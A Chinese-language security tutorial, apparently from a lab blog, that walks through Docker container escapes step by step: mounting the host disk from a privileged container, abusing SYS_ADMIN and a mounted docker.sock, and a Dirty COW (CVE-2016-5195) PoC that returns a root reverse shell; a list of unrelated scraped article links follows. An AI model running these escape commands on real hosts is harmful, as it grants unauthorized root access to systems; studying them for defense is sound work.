Docker是当今使用范围最广的开源容器技术之一,具有高效易用的优点。然而如果使用Docker时采取不当安全策略,则可能导致系统面临安全威胁。

本期安仔课堂,ISEC实验室的张老师将为大家介绍不同环境下,Docker逃逸至外部宿主机的情况。

一、配置特权模式时的逃逸情况

(一)--privileged(特权模式)

特权模式于版本0.6时被引入Docker,允许容器内的root拥有外部物理机root权限,而此前容器内root用户仅拥有外部物理机普通用户权限。

使用特权模式启动容器,可以获取大量设备文件访问权限。因为当管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。

当控制使用特权模式启动的容器时,docker管理员可通过mount命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,此外还可以通过写入计划任务等方式在宿主机执行命令

具体步骤如下:

1.以特权模式运行一个容器:docker run -it --privileged ubuntu:14.04 /bin/bash

2.查看磁盘文件:fdisk -l

图1

3.此时查看/dev/路径会发现很多设备文件:ls /dev

图2

4.新建目录以备挂载:mkdir /abc

5.将/dev/sda1挂载至 /abc: mount /dev/sda1 /abc

6.最终我们可以通过访问容器内部的/abc路径来达到访问整个宿主机的目的:ls /abc

图3

7.尝试写文件到宿主机:echo 123 > /abc/home/botasky/escape2

图4

8.查看宿主机中的文件:ls /home/botasky/escape2

图5

(二)--cap-add与SYS_ADMIN

Linux内核自版本2.2起引入功能(capabilities)机制,打破了UNIX/LINUX操作系统中超级用户与普通用户的概念,允许普通用户执行超级用户权限方能运行的命令

截至Linux 3.0版本,Linux中共有38种capabilities。Docker容器默认限制为14个capabilities,管理员可以使用--cap-add和--cap-drop选项为容器精确配置capabilities

当容器使用特权模式启动时,将被赋予所有capabilities。此外,在--cap-add的诸多选项中,SYSADMIN意为container进程允许执行mount、umount等一系列系统管理操作,因此当容器以--cap-add=SYSADMIN启动时,也将面临威胁。

二、挂载配置不当时的逃逸情况

(一)危险的Docker.sock

众所周知,Docker采用C/S架构,我们平常使用的Docker命令中,docker即为client,Server端的角色由docker daemon扮演,二者之间通信方式有以下3种:

图6

其中使用docker.sock进行通信为默认方式,当容器中进程需在生产过程中与Docker守护进程通信时,容器本身需要挂载/var/run/docker.sock文件。

本质上而言,能够访问docker socket 或连接HTTPS API的进程可以执行Docker服务能够运行的任意命令,以root权限运行的Docker服务通常可以访问整个主机系统

因此,当容器访问docker socket时,我们可通过与docker daemon的通信对其进行恶意操纵完成逃逸。若容器A可以访问docker socket,我们便可在其内部安装client(docker),通过docker.sock与宿主机的server(docker daemon)进行交互,运行并切换至不安全的容器B,最终在容器B中控制宿主机。

具体步骤如下:

1.运行一个挂载/var/run/的容器:docker run -it -v /var/run/:/host/var/run/ ubuntu:14.04 /bin/bash

2.在容器内安装Docker作为client(此步骤可能需要更换源):apt-get install http://docker.io

3.查看宿主机Docker信息:docker -H unix:///host/var/run/docker.sock info

图7

4.运行一个新容器并挂载宿主机根路径:docker -H unix:///host/var/run/docker.sock run -v /:/aa -it ubuntu:14.04 /bin/bash

可以看见@符号后的Docker ID已经发生变化:

图8

5.在新容器/aa路径下完成对宿主机资源的访问:ls /aa

图9

三、存在Dirty Cow漏洞时的逃逸情况

(一)脏牛漏洞(CVE-2016-5195)与VDSO(虚拟动态共享对象)

Dirty Cow(CVE-2016-5195)是Linux内核中的权限提升漏洞,源于Linux内核的内存子系统在处理写入时拷贝(copy-on-write, Cow)存在竞争条件(race condition),允许恶意用户提权获取其他只读内存映射的写访问权限。

竞争条件意为任务执行顺序异常,可能导致应用崩溃或面临攻击者的代码执行威胁。利用该漏洞,攻击者可在其目标系统内提升权限,甚至获得root权限VDSO就是Virtual Dynamic Shared Object(虚拟动态共享对象),即内核提供的虚拟.so。该.so文件位于内核而非磁盘,程序启动时,内核把包含某.so的内存页映射入其内存空间,对应程序就可作为普通.so使用其中的函数。

在容器中利用VDSO内存空间中的“clock_gettime() ”函数可对脏牛漏洞发起攻击,令系统崩溃并获得root权限的shell,且浏览容器之外主机上的文件

(二)PoC&验证环境

GitHub上已有人提供了测试环境与PoC,我们可以通过以下命令获取。

图10

1. 运行验证容器:docker-compose run dirtycow /bin/bash

图11

2. 本地开启nc,进行观察(PoC中设置的反弹地址为本地的1234端口):nc -lvp 1234

3. 编译PoC并运行,等待shell反弹:make &./0xdeadbeef

通过ID命令,可以发现这个shell为root权限:

图12

docker宿主机访问容器_干货来啦!带你初探Docker逃逸相关推荐

  1. docker宿主机访问容器_Docker容器与宿主机器通过IP内外通讯

    例如一个如下场景,在Docker环境下面运行了一个含有PHP环境的Docker容器(container),容器名称为php1,同时在宿主机(真实机器)上面有一个MySQL服务器,如何来通过,容器内部的 ...

  2. docker宿主机访问docker容器服务失败

    2019独角兽企业重金招聘Python工程师标准>>> 原因: 因为docker的虚拟ip网段是172.17.*.*与局域网的ip网段172.17冲突了,所以有两种方式: 解决方法: ...

  3. docker实现跨宿主机的容器之间网络互联

    背景:最近闲来无事,想到之前开发提出的问题不用k8s那套网络插件如何实现跨宿主机的容器之间网络互联,顺便复习下iptables知识点. docker实现跨宿主机的容器之间网络互联 一. 环境介绍 二. ...

  4. 宿主机172连接容器mysql_开发时从宿主机连接容器中的MySQL

    从宿主机连接Docker容器中的MySQL 刚接触Docker,电脑安装Docker后,使用docker命令pull了一个MySQL5.6的Docker镜像,之后docker run启动创建容器. 可 ...

  5. docker网络问题解决办法“大全”:关于宿主机访问不了docker容器中web服务,或者容器内访问不了外网的问题的解决办法

    docker网络问题解决办法"大全":关于宿主机访问不了docker容器中web服务,或者容器内访问不了外网的问题的解决办法 参考文章: (1)docker网络问题解决办法&quo ...

  6. docker如何查看宿主机到容器端口映射

    docker/Docker如何查看宿主机到容器端口映射关系 背景 前些天的时候, 在定位问题时发现docker emqx 连接websocket (8083)端口出现异常. 经过很长时间定位, 才发现 ...

  7. 解决Docker MySQL无法被宿主机访问的问题

    1 问题描述 Docker启动MySQL容器后,创建一个localhost访问的用户: create user test@localhost identified by 'test'; 但是在宿主机中 ...

  8. Docker 宿主机定时清除容器的运行日志

    为什么80%的码农都做不了架构师?>>>    docker 宿主机定时清除容器的运行日志 一般docker容器都是最小化安装,不仅如此系统定时器相关的服务也不存在,自己去安装也很麻 ...

  9. Docker 使用容器数据卷 实现宿主机与容器共享数据 容器数据持久化

    容器数据卷:可以实现宿主机与容器进行共享.容器数据持久化,容器与容器共享数据.可以在run镜像时使用-v参数指定宿主机与容器进行挂载的目录,也可以使用dockerfile的volume指定容器中容器数 ...

最新文章

  1. == Equals ReferenceEquals 的区别
  2. CSS学习02之css导入方式
  3. Object C学习笔记12-集合
  4. django多线程_Django两种启动方式(runserver和uwsgi)的区别
  5. php datediff 函数,dateAdd与DateDiff函数的js代码
  6. 两个链表求交集_实现两个排序链表的并集和交集
  7. C++笔记-设置cout输出数据的宽度和填充
  8. 简述java异常机制处理,简述Java中的异常处理机制
  9. 记录一次解决404问题
  10. html表单input file,最简单的方法美化表单中input type=file元素
  11. ASP.NET中Request.InputStream使用
  12. Ubuntu 默认启动到字符界面
  13. java多线程基础_深入了解Java多线程的基础知识!
  14. List集合对象去重及按属性去重的8种方法
  15. 增量式PID公式的4点疑问和理解
  16. 个人收集的mac破解软件免费下载(不断更新中)
  17. 目标导向型思维, 利他思维,迭代思维, 用忙碌打败无聊,整合型思维 重视运动
  18. 柳暗花明又一村 WiFi新应用实现3D物体成像
  19. 图像分类数据集 (FASHION-MNIST)
  20. java窗口上 显示学号和姓名_java编程 完成下图所示的图形用户界面设计,要求在界面中输入个人的班级、学号、姓名信息后,点击“...

热门文章

  1. linux mariadb 图形化,linux 初学者 - MariaDB 图形管理篇
  2. angularjs中ui-sref传值步骤
  3. mysql 实例与用户_MySQL(17):用户登录实例
  4. php 图片叠加,thinkPHP5 生成海报(图片叠加定位)
  5. 云服务器更换系统后tomcat,如何对云服务器装tomcat
  6. could not start avd怎么解决_双十一又到了,你的购物车塞满了吗?「购物车」用英语该怎么说?...
  7. elementui 菜单标题_elementUI 动态渲染三级菜单
  8. 安卓团课快进_青年大学习网上主题团课第十季第七期答案
  9. 对listView的理解
  10. ApplicationId 与 PackageName